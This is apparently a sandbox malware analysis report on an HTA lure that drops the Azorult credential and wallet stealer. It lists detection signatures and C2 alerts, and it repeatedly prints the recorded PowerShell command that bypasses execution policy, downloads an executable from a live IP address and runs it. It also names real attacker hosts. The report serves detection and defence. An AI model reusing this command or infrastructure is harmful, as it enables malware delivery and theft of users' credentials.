Edit tour

Windows Analysis Report
Order160311_Reference.hta

Overview

General Information

Sample name:	Order160311_Reference.hta
Analysis ID:	1531348
MD5:	9d076419b3d536b792996ba4d9f456ca
SHA1:	624f254efe413ced91efc23c32e8d8a63d1682d5
SHA256:	ed60a9b42ca6dd79eaef777df25d81c137132d5d0c2ed81567931b0ba134c756
Infos:

Detection

Azorult

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected Azorult Info Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Found many strings related to Crypto-Wallets (likely being stolen)

Powershell drops PE file

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7328 cmdline: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 7396 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Order160311_Reference.exe (PID: 7684 cmdline: "C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe" MD5: 27864DD446F03F806B26031D97E3377B)

svchost.exe (PID: 7476 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x1c277:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xe27d:$a2: %APPDATA%\.purple\accounts.xml 0xea57:$a3: %TEMP%\curbuf.dat 0x1bfb5:$a4: PasswordsList.txt 0x1678f:$a5: Software\Valve\Steam
dump.pcap	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x1a0df:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1a863:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1f0df:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x4e3a36:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1c141:$v2: http://ip-api.com/json 0x1abbd:$v3: C6 07 1E C6 47 01 15 C6 47 02 34

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xcb78:$a2: %APPDATA%\.purple\accounts.xml 0xd2c0:$a3: %TEMP%\curbuf.dat 0x195d4:$a4: PasswordsList.txt 0x145d8:$a5: Software\Valve\Steam
C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Azorult_1	Azorult Payload	kevoreilly	0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19760:$v2: http://ip-api.com/json 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xc778:$a2: %APPDATA%\.purple\accounts.xml 0xcec0:$a3: %TEMP%\curbuf.dat 0x191d4:$a4: PasswordsList.txt 0x141d8:$a5: Software\Valve\Steam
00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x17c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19360:$v2: http://ip-api.com/json 0x17fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000003.1781211546.000000000395C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000003.1781199402.00000000041E4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1780381822.00000000020BC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xc778:$a2: %APPDATA%\.purple\accounts.xml 0xcec0:$a3: %TEMP%\curbuf.dat 0x191d4:$a4: PasswordsList.txt 0x141d8:$a5: Software\Valve\Steam
00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x17c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19360:$v2: http://ip-api.com/json 0x17fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Order160311_Reference.exe PID: 7684	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: Order160311_Reference.exe PID: 7684	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: Order160311_Reference.exe PID: 7684	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7328, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, ProcessId: 7396, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7476, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE AZORult v3.3 Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T04:10:41.642801+0200	2029136	1	Malware Command and Control Activity Detected	104.21.14.133	80	192.168.2.4	49733	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T04:10:41.239682+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.21.14.133	80	TCP
2024-10-11T04:10:50.170991+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.4	49737	104.21.14.133	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T04:10:41.239682+0200	2810276	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.21.14.133	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: h8m5b.shop	Virustotal: Detection: 9%	Perma Link
Source: http://217.160.121.141:8030/5643254657/Order-63729r.exe-OutFileC:	Virustotal: Detection: 7%	Perma Link
Source: http://h8m5b.shop/	Virustotal: Detection: 9%	Perma Link
Source: http://217.160.121.141:8030	Virustotal: Detection: 5%	Perma Link
Source: http://217.160.121.141:8030/5643254657/Order-63729r.exe	Virustotal: Detection: 11%	Perma Link
Source: http://h8m5b.shop/ML341/index.php	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: Order160311_Reference.hta	ReversingLabs: Detection: 15%
Source: Order160311_Reference.hta	Virustotal: Detection: 28%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.4.dr
Source:	Binary string: ucrtbase.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.4.dr
